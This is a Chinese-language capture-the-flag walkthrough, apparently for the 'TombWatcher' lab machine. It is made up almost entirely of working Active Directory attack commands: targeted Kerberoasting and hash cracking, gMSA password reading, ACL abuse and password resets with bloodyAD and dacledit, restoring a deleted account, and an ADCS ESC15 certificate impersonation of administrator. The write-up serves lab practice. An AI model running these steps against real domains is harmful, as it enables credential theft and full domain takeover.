
henry / H3nry_987TGV!
nmap -T4 -v -A -Pn 10.10.11.72 -oN tombwatcher.txt

USER
没有什么特别的服务,直接开始吧,用 nxc 扫一下 users 和 shares
nxc smb 10.10.11.72 -u 'henry' -p 'H3nry_987TGV!' --users
nxc smb 10.10.11.72 -u 'henry' -p 'H3nry_987TGV!' --shares

把 users 记录一下,shares 没有什么能看的,上 bloodhound 吧
bloodhound-python -u 'henry' -p 'H3nry_987TGV!' -d 'tombwatcher.htb' -ns 10.10.11.72 -c all --zip

writeSPN
查看一下 henry 对 alfred 又 writeSPN 权限

要用到这个项目
https://github.com/ShutdownRepo/targetedKerberoast
python targetedKerberoast.py -d tombwatcher.htb -u 'henry' -p 'H3nry_987TGV!' --request-user 'alfred'

拿到 hash 之后破解一下
hashcat hash.txt /usr/share/wordlists/rockyou.txt

Alfred:basketball
change_password
看了一下没有办法 winrm 登录,bloodhound 跑一下吧
bloodhound-python -u 'Alfred' -p 'basketball' -d 'tombwatcher.htb' -ns 10.10.11.72 -c all --zip

可以一直跟着这张图来了,一直到 john 属于 remote managerment 组才有 winrm 权限
alfred 可以先 addself 到 infrastructure 组
python bloodyAD.py --host '10.10.11.72' -d 'tombwatcher.htb' -u 'Alfred' -p 'basketball' add groupMember 'infrastructure' 'alfred'

可以直接用 nxc 的参数直接读取 gmsa 密码,但是需要 ldap 协议
nxc ldap 10.10.11.72 -u 'Alfred' -p 'basketball' --gmsa

ansible_dev$:4b21348ca4a9edff9689cdf75cbda439
然后利用 ansible_dev$ 的权限修改 sma 的密码
python bloodyAD.py --host '10.10.11.72' -d 'tombwatcher.htb' -u 'ansible_dev$' -p ':4b21348ca4a9edff9689cdf75cbda439' set password 'SAM' 'Admin123@'


然后修改 john 所有者为 sam
python bloodyAD.py --host '10.10.11.72' -d 'tombwatcher.htb' -u 'sam' -p 'Admin123@' set owner 'john' 'sam'

添加 sam 对 john GenericAll 权限
impacket-dacledit -action 'write' -rights 'FullControl' -principal 'sam' -target 'john' tombwatcher.htb/sam:'Admin123@' -dc-ip 10.10.11.72

然后就可以用 sam 凭证修改 john 的密码了
python bloodyAD.py --host '10.10.11.72' -d 'tombwatcher.htb' -u 'SAM' -p 'Admin123@' set password john 'Admin123@'

evil-winrm 连接就能看到 user.txt 了

ROOT
结合我们之前看到的 john 是对 ADCS 组织有权限的,但是 ADCS 组织下面没有用户
看大佬提示,结合题目 tomb :坟墓,账户可能是有的,但是被删除了
Deleted Objects
从域内回收站检索被删除的对象
Get-ADObject -Filter {Deleted -eq $true} -IncludeDeletedObjects

我们先恢复一下最后这一个用户 cert-admin
需要用到他的 guid
Restore-ADObject -Identity 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
启用 cert_admin
Enable-ADAccount -Identity cert_admin
修改 cert_admin 的密码(net user 可以查看用户状态,确保我们启用了)
Set-ADAccountPassword -Identity cert_admin -Reset -NewPassword (ConvertTo-SecureString "Admin123@" -AsPlainText -Force)

本来用 cert_admin 凭证重新跑了一下 bloodhound,但是没有什么新东西
ESC15
盲搞了,certipy-ad 搞一下证书
certipy-ad find -vulnerable -u 'cert_admin' -p 'Admin123@' -dc-ip '10.10.11.72'

esc15,冲了
这里有两种打法,我就选了第一种 通过 Schannel 直接冒充,第二个有点类似 certificate machines 的 esc3 了
请求证书,注入“Client Authentication”应用程序策略和目标 UPN
certipy-ad req -u 'cert_admin@tombwatcher.htb' -p 'Admin123@' -dc-ip '10.10.11.72' -target 'DC01.tombwatcher.htb' -ca 'tombwatcher-CA-1' -template 'WebServer' -upn 'administrator@tombwatcher.htb' -application-policies 'Client Authentication'

使用获得的证书通过 Schannel (LDAPS) 进行身份验证
certipy-ad auth -pfx 'administrator.pfx' -dc-ip '10.10.11.72' -ldap-shell
登陆后直接更改密码
change_password administrator Admin123@

然后 evil-winrm 登录就可以了


Comments | NOTHING